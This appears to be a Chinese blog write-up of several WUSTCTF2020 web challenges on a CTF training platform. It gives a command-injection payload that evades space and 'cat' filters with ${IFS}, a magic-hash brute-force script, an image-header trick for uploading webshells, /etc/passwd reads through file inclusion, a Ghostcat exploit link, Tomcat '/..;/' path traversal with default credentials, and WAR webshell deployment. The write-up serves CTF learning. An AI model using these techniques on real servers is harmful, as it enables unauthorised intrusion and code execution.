buu冲冲冲???~
[WUSTCTF2020]朴实无华
首页只有一句HackMe,尝试查看robots.txt,得到关键信息:
User-agent: *
Disallow: /fAke_f1agggg.php
仔细看响应头,得到f14g.php,访问:
<?php header('Content-type:text/html;charset=utf-8'); error_reporting(0); highlight_file(__file__); //level 1 if (isset($_GET['num'])){ $num = $_GET['num']; if(intval($num) < 2020 && intval($num + 1) > 2021){ echo "我不经意间看了看我的劳力士, 不是想看时间, 只是想不经意间, 让你知道我过得比你好.</br>"; }else{ die("金钱解决不了穷人的本质问题"); } }else{ die("去非洲吧"); } //level 2 if (isset($_GET['md5'])){ $md5=$_GET['md5']; if ($md5==md5($md5)) echo "想到这个CTFer拿到flag后, 感激涕零, 跑去东澜岸, 找一家餐厅, 把厨师轰出去, 自己炒两个拿手小菜, 倒一杯散装白酒, 致富有道, 别学小暴.</br>"; else die("我赶紧喊来我的酒肉朋友, 他打了个电话, 把他一家安排到了非洲"); }else{ die("去非洲吧"); } //get flag if (isset($_GET['get_flag'])){ $get_flag = $_GET['get_flag']; if(!strstr($get_flag," ")){ $get_flag = str_ireplace("cat", "wctf2020", $get_flag); echo "想到这里, 我充实而欣慰, 有钱人的快乐往往就是这么的朴实无华, 且枯燥.</br>"; system($get_flag); }else{ die("快到非洲了"); } }else{ die("去非洲吧"); } ?>
level 1
:传入的数既要小于2020又要+1后大于2021,可以用科学计数法来绕过。比如1e9。intval函数有个特性:“直到遇上数字或正负符号才开始做转换,再遇到非数字或字符串结束时(\0)结束转换”。而intval($num + 1)则涉及到字符和数字的相加,因为num是科学计数法形式,它会先转成数字形式再加1。
<?php $num = '1e9'; echo intval($num); //1 echo "\n"; echo intval($num + 1); //1000000001 ?>
level 2
:有点懵,传入的值和传入的值的md5要相等。可以用一个0e开头的字符串进行碰撞,当它的md5值开头也为0e,并且仅由数字组成的时候就可以绕过了。
然后nmd,爆了好久:
import hashlib import re for i in range(0,1000000000000): strr = "0e"+str(i) md5 = hashlib.md5(strr.encode('utf-8')).hexdigest() if (re.findall('^0e(.*?)',md5) and md5[2:].isdigit()): print(strr+": "+md5) #0e215962017: 0e291242476940776845150308577824
get flag
:过滤空格和cat的命令执行,cat可以用我最爱的strings来代替,空格可以用${IFS}来代替。
最后的payload如下:
/?num=1e9&md5=0e215962017&get_flag=strings${IFS}fllllllllllllllllllllllllllllllllllllllllaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaag
[WUSTCTF2020]颜值成绩查询
[WUSTCTF2020]CV Maker
没有robots.txt,扫描敏感路径也无果,在首页注册一个账号,然后登录:
仅有上传头像这里是可以交互的,测试一下文件上传。这道题检测了exif_imagetype,所以文件前面要加上GIF89a。(我太讨厌文件上传题了Q Q
上传成功,复制图像地址,然后连接:
根目录下找到flag:
[WUSTCTF2020]easyweb(未完成)
可以任意上传文件,但是无法执行。随便上传一张图片,返回路径如下:
文件包含漏洞常见的参数名就是file,看到这个参数名就试一下,不过不好使qwq
尝试直接读取/etc/passwd成功:
学习了一下别的师傅的WP,可以配合幽灵猫漏洞文件包含,这里我这几天再学习补充一下:
幽灵猫漏洞不仅可以文件读取,还可以文件包含(某些PoC只能读取不能包含)。我们可以任意上传JSP木马并得知路径,只要通过AJP包含这个jsp就能执行里面的代码,就通过文件包含实现了RCE。
CVE-2020-1938幽灵猫利用脚本下载:
https://github.com/00theway/Ghostcat-CNVD-2020-10487
这道题还存在一个非预期解,不过这个非预期在BUU上已经复现不了了。BUU这道题需要使用内网的 Linux Lab 靶机来访问本题的 8009 端口,尝试了下,不知道VNC怎么拖文件,内网也下不了这个脚本,还望师傅们指点我一下这道题T T。
[WUSTCTF2020]Train Yourself To Be Godly
这道题真nm酸爽。
给了一个Apache Tomcat WebSocket Examples(。。?
参考官方WP学习了新知识点,这道题首先考了TOMCAT 目录穿越:
上图可知,Nginx 会解析 /a;evil/b/,并认为这是一个合法的目录请求,而 Tomcat 做解析的时候会自动忽略掉脏数据 ;.*,所以 Tomcat 对此的解析是 /a/b/。也就是说我们从可以通过写 ;+脏数据的方式绕过 Nginx 的反向代理,从而请求本不应该能请求到的非法路径。对于本题来说,我们可以构造路径 /..;/,Nginx 会认为我们要访问服务器的 /..;/ 目录下的内容,从而将这个请求视为合法请求发送给后端的 Tomcat 解析,Tomcat 接受之后认为 ; 是脏数据,从而过滤掉,解析的路径就变成了 /../ 也就是上级目录。所以访问 /..;/manager/html 之后我们就成功进入了后台界面。
Tomcat的默认后台路径就是http://…/manager/html,根据上述内容,构造/..;/manager/html,成功弹出后台登录框。
Tomcat的默认口令如下:
账号:admin 密码:admin或空;
账号:tomcat 密码:tomcat
这道题输入账号tomcat密码tomcat即可,成功进入Manager后台,开始部署jsp大马。Tomcat默认支持热部署(就是不用重启就能执行你部署的war包)。
在WAR file to deploy部署,抓包后返回404,原因是url里自动加了个examples,删掉继续,返回了401。
这个地方涉及一个知识点:Authorization Bassic是401验证,用base64加密的,格式为Authorization: Basic base64-encode(username:password),所以这道题应该加一个
Authorization: Basic dG9tY2F0OnRvbWNhdA==
很好,这次返回403啦。。
返回403的原因是没有权限,需要抓到Set-Cookie,这里卡了好久,非!常!感!谢Match师傅教会了我一个骚操作(猫猫头
访问/..;/manager/html/然后刷新,f12,存储这里修改一下:
把Path改成如图的/..;/manager,再上传war包部署,别忘记Authorization验证和这个Cookie。
因为war包叫test2.war,里面的内容是2.jsp,所以访问/..;/test2/2.jsp即可。